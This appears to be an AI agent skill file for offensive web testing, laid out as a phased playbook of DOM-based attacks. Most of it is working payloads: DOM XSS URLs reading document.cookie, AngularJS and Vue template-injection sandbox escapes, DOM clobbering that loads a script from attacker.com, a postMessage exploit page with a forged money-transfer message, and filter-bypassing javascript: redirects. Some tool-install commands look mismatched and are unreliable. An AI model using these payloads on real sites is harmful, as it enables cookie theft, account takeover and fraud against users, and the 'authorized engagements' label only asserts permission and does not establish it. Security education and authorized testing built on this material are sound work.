---
name: rt-dom-attacks
description: "DOM-based vulnerability skill for authorized engagements. DOM XSS via dangerous sinks (innerHTML, eval, document.write, location), DOM clobbering to bypass security checks, client-side template injection (AngularJS, Vue, React), postMessage exploitation, DOM-based open redirect, and web messaging attacks. Use when testing client-side JavaScript security in modern single-page applications."
---

# rt-dom-attacks — DOM-Based Vulnerabilities

## Overview

DOM-based vulnerabilities occur entirely client-side — the server sends safe data but the browser's JavaScript processes it unsafely. Traditional XSS scanners miss these. Sources (user-controlled input) flow into dangerous sinks (functions that execute code) through JavaScript execution paths.

---

## Phase 1 — DOM XSS Sources & Sinks

```javascript
// SOURCES (attacker-controlled inputs)
location.href          // Full URL
location.search        // Query string (?q=...)
location.hash          // Fragment (#...)
location.pathname      // URL path
document.referrer      // Referrer header
window.name            // Window name (survives navigation!)
postMessage data       // Cross-origin messages
localStorage/sessionStorage

// SINKS (dangerous functions — cause XSS if tainted data flows in)
// CODE EXECUTION sinks
eval()
setTimeout("STRING")    // String form — dangerous
setInterval("STRING")
new Function("STRING")
document.write()
document.writeln()

// HTML INJECTION sinks
element.innerHTML = TAINTED
element.outerHTML = TAINTED
element.insertAdjacentHTML()
document.body.innerHTML

// URL NAVIGATION sinks (can be javascript: protocol)
location = TAINTED
location.href = TAINTED
location.assign(TAINTED)
location.replace(TAINTED)

// Script SRC sinks
script.src = TAINTED
```

---

## Phase 2 — DOM XSS Examples

```javascript
// URL fragment → innerHTML (common in SPA routing)
// Source: location.hash
// Sink: innerHTML
// Vulnerable code: document.getElementById('content').innerHTML = location.hash.slice(1)
// Exploit: https://target.com/#<img src=x onerror=alert(1)>

// URL param → eval
// Vulnerable: eval(new URLSearchParams(location.search).get('callback'))
// Exploit: https://target.com/?callback=alert(document.cookie)

// URL param → document.write
// Vulnerable: document.write('<img src="' + getParam('img') + '">')
// Exploit: https://target.com/?img=x" onerror="alert(1)

// URL param → location (open redirect → XSS)
// Vulnerable: location.href = getParam('redirect')
// Exploit: https://target.com/?redirect=javascript:alert(1)

// window.name XSS (survives cross-origin navigation)
// Attacker page:
window.name = "<img src=x onerror=alert(document.cookie)>"
location = "https://target.com/vulnerable-page"
// Target page uses: document.write(window.name)
```

---

## Phase 3 — DOM Clobbering

```html
<!-- DOM clobbering: use HTML to override JavaScript variables/objects -->
<!-- Overwrites window.x with a DOM element -->
<a id="x">clobbered</a>
<!-- Now: window.x = HTMLAnchorElement (not undefined) -->
<!-- If code does: if(!x) { securityCheck() } → check bypassed -->

<!-- Clobber security flag -->
<form id="isAdmin"><input id="value" value="true"></form>
<!-- If code: if(isAdmin.value === 'true') → bypassed -->

<!-- Clobber URL used in script src -->
<a id="config"><a id="config" name="scriptURL" href="//attacker.com/evil.js"></a>
<!-- If code: script.src = config.scriptURL → loads attacker script -->

<!-- Real attack: inject via stored XSS on subdomain, clobber parent -->
<!-- Or: HTML injection without script execution (CSP bypass) -->
```

---

## Phase 4 — Client-Side Template Injection (CSTI)

```javascript
// AngularJS CSTI → RCE in browser sandbox
// If user input is placed inside ng-app context:
// Test: {{7*7}} → if 49 appears → CSTI

// AngularJS sandbox escape (old versions)
{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

// AngularJS 1.x universal sandbox escape
{{a=['constructor'][0];b=a.constructor;c=b('return window')();c.alert(c.document.cookie)}}

// Vue.js CSTI
// Test: {{7*7}}
// {{constructor.constructor('alert(1)')()}}
// $el.ownerDocument.defaultView.alert(1)

// React: generally safe (JSX escapes) but dangerouslySetInnerHTML is a sink
// Test for dangerouslySetInnerHTML in source → same as innerHTML

// Angular (modern) — strict mode, harder to exploit
// Look for: bypassSecurityTrustHtml(), sanitize bypass
```

---

## Phase 5 — postMessage Exploitation

```javascript
// postMessage allows cross-origin communication
// Vulnerable: doesn't validate origin of incoming messages

// Vulnerable code:
window.addEventListener("message", function(e) {
    eval(e.data);  // No origin check!
    // Or: document.getElementById("content").innerHTML = e.data
});

// Exploit from attacker.com:
<script>
var target = window.open("https://target.com/", "_blank");
setTimeout(function() {
    target.postMessage("<img src=x onerror=alert(document.cookie)>", "*");
    // Or: target.postMessage("alert(1)", "*");
}, 2000);
</script>

// Bypass origin check weaknesses
// if (e.origin.indexOf("target.com") !== -1) ← bypass with: attacker.target.com
// if (e.origin === "https://target.com")       ← strict (safe)

// postMessage CSRF
target.postMessage('{"action":"transfer","amount":1000,"to":"attacker"}', "*")
```

---

## Phase 6 — DOM-Based Open Redirect

```bash
# DOM redirect used as XSS vector
# Vulnerable: window.location = getParam('url')
# XSS: ?url=javascript:alert(document.cookie)

# Bypass common filters
?url=javascript:alert(1)
?url=JaVaScRiPt:alert(1)        # Case variation
?url=javascript%3aalert(1)       # URL encoded colon
?url=java%0ascript:alert(1)     # Newline injection
?url=data:text/html,<script>alert(1)</script>
?url=//attacker.com              # Protocol-relative
```

---

## Automated DOM XSS Testing

```bash
# DOMXSSScanner
pip3 install dalfox
dalfox url "https://target.com/?q=test" --deep-domxss

# DOM Invader (Burp Suite built-in)
# Browser → Extensions → Burp Suite → DOM Invader
# Injects canary string → tracks through DOM → finds sinks

# Playwright-based DOM XSS scanner
npm install -g js-xss-scanner
js-xss-scanner https://target.com
```

---

## Skill Levels

**BEGINNER:** URL fragment/parameter to innerHTML · document.write XSS · Open redirect via location=

**INTERMEDIATE:** DOM clobbering for security bypass · AngularJS CSTI sandbox escape · postMessage origin bypass

**ADVANCED:** window.name persistence XSS · Vue.js CSTI · Complex source-to-sink tracing

**EXPERT:** Custom DOM analysis tooling · React dangerouslySetInnerHTML chains · CSP bypass via DOM

---

## References

- PortSwigger DOM XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
- DOM Invader: https://portswigger.net/burp/documentation/desktop/tools/dom-invader
- PortSwigger DOM Clobbering: https://portswigger.net/web-security/dom-based/dom-clobbering
- Client-side PP gadgets: https://github.com/BlackFan/client-side-prototype-pollution
